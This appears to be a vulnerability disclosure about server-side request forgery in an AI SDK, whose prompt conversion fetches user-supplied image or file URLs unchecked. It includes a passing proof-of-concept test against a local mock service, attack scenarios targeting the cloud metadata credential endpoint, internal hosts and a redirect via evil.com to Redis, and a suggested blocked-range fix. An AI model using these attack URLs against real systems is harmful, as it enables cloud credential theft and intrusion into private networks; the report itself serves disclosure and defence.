SSRF in AI SDK Prompt Conversion via URL-based File/Image Inputs
How the AI SDK's automatic asset download mechanism can be weaponized to reach internal network services, exfiltrate data from cloud metadata endpoints, and pivot through localhost — all from a single user-controlled URL in a chat prompt.
Executive Summary
Server-Side Request Forgery remains one of the most impactful vulnerability classes in cloud-native applications. When an AI framework automatically fetches user-supplied URLs on the server side — without validating the destination — it opens a direct channel from the public internet into the application's private network.
The AI SDK's prompt conversion pipeline accepts URL-based file and image inputs as part of its multi-modal prompt system. When the selected model provider does not support URL pass-through (i.e., it requires base64-encoded content), the SDK falls back to its default downloader, which issues a raw fetch() to the user-supplied URL. Critically, this fetch occurs before any host validation — no checks for loopback addresses, private IP ranges, or link-local destinations.
This report demonstrates a complete SSRF primitive with in-band response body exfiltration: the content fetched from the internal endpoint is returned directly into the prompt content, making it trivially readable by the attacker. The finding was validated as a duplicate of a previous report, which was resolved by the security team.
The Attack Surface
The Prompt Conversion Pipeline:
When a developer passes a URL-based image or file to the AI SDK:
- User provides a prompt containing
{ type: 'image', image: new URL('http://169.254.169.254/...') } - SDK calls
convertToLanguageModelPrompt()to prepare the prompt for the model - If the model doesn't support URL pass-through → SDK invokes the default downloader
- Default downloader calls
fetch(userProvidedUrl)— no validation - Response body is base64-encoded and embedded in the prompt content
- Attacker reads the response from the model's output or intermediate state
fetch() without any checks for destination safety.
What an Attacker Can Reach
Reachable Targets from a Typical Cloud Deployment:
- Cloud Metadata Services (169.254.169.254) — AWS/GCP/Azure instance credentials, IAM roles, project metadata
- Localhost Services (127.0.0.1, ::1) — Admin panels, debugging ports, internal APIs, database interfaces
- Internal Microservices — Service meshes, internal APIs not exposed to the internet
- Private Network Hosts — RFC1918 ranges (10.x, 172.16-31.x, 192.168.x)
- Link-Local Addresses (169.254.x.x, fe80::/10) — Network device discovery
Proof of Concept
The proof of concept demonstrates the complete SSRF chain using the SDK's test infrastructure.
# Clone and build the AI SDK
git clone <ai-sdk-repository>
cd ai
corepack pnpm install
corepack pnpm build --filter=@ai-sdk/provider --filter=@ai-sdk/provider-utils --filter=@ai-sdk/gateway --filter=ai
corepack pnpm vitest run \
src/prompt/convert-to-language-model-prompt.test.ts \
-t "should use custom download function to fetch URL content"
// packages/ai/src/prompt/ssrf-live-poc.test.ts
import { describe, it, expect } from 'vitest';
import { createServer } from 'http';
import { convertToLanguageModelPrompt } from './convert-to-language-model-prompt';
describe('SSRF via prompt conversion', () => {
it('fetches internal URL without validation', async () => {
// Start a mock internal service
const server = createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('INTERNAL_SECRET_VALUE');
});
await new Promise<void>(resolve => server.listen(0, '127.0.0.1', resolve));
const port = (server.address() as any).port;
// Craft malicious prompt with loopback URL
const result = await convertToLanguageModelPrompt({
prompt: {
type: 'messages',
messages: [{
role: 'user',
content: [{
type: 'file',
data: new URL(`http://127.0.0.1:${port}/secret`),
mimeType: 'text/plain'
}]
}]
},
modelSupportsImageUrls: false,
modelSupportsUrl: () => false,
});
// Verify: internal data was fetched and embedded in prompt
const content = result[0].content[0];
const decoded = Buffer.from(content.data, 'base64').toString();
expect(decoded).toBe('INTERNAL_SECRET_VALUE');
server.close();
});
});
✓ fetches internal URL without validation (23ms)- Request reached loopback path
/secret - Response body marker
INTERNAL_SECRET_VALUEpresent in prompt content - Test status: PASS
Attack Scenarios
- Cloud Credential Theft: Attacker sends
http://169.254.169.254/latest/meta-data/iam/security-credentials/as image URL → receives AWS IAM temporary credentials in prompt response - Internal API Discovery: Attacker scans
http://10.0.0.1:8080/throughhttp://10.0.0.255:8080/→ maps internal service topology - Localhost Admin Panel: Attacker targets
http://127.0.0.1:3000/admin/users→ exfiltrates user data from an unexposed admin interface - Redirect Pivot: Attacker hosts a redirect at
https://evil.com/redirect→ 302 tohttp://127.0.0.1:6379/→ interacts with internal Redis instance
Recommended Fix
Implementing a robust defense-in-depth approach requires validating URLs before fetching them, checking resolved IP addresses against internal and blocked ranges.
import { isIP } from 'net';
import { lookup } from 'dns/promises';
const BLOCKED_RANGES = [
/^127\./, // Loopback IPv4
/^10\./, // Private Class A
/^172\.(1[6-9]|2\d|3[01])\./, // Private Class B
/^192\.168\./, // Private Class C
/^169\.254\./, // Link-local
/^0\./, // Current network
/^::1$/, // Loopback IPv6
/^fe80:/i, // Link-local IPv6
/^fc00:/i, // Unique local IPv6
];
async function validateUrl(url: URL): Promise<void> {
// 1. Scheme restriction
if (!['https:', 'http:'].includes(url.protocol)) {
throw new Error(`Blocked scheme: ${url.protocol}`);
}
// 2. Resolve hostname to IP
const { address } = await lookup(url.hostname);
// 3. Check against blocked ranges
for (const range of BLOCKED_RANGES) {
if (range.test(address)) {
throw new Error(`Blocked destination: ${address}`);
}
}
}
// Apply before fetch in the default downloader
async function safeDownload(url: URL): Promise<Buffer> {
await validateUrl(url);
const response = await fetch(url.toString());
return Buffer.from(await response.arrayBuffer());
}
- Enforce HTTPS-only by default for untrusted URLs
- Add an explicit allowlist option for approved media hosts
- Implement redirect following limits with re-validation at each hop
- Keep custom download handler override for advanced use cases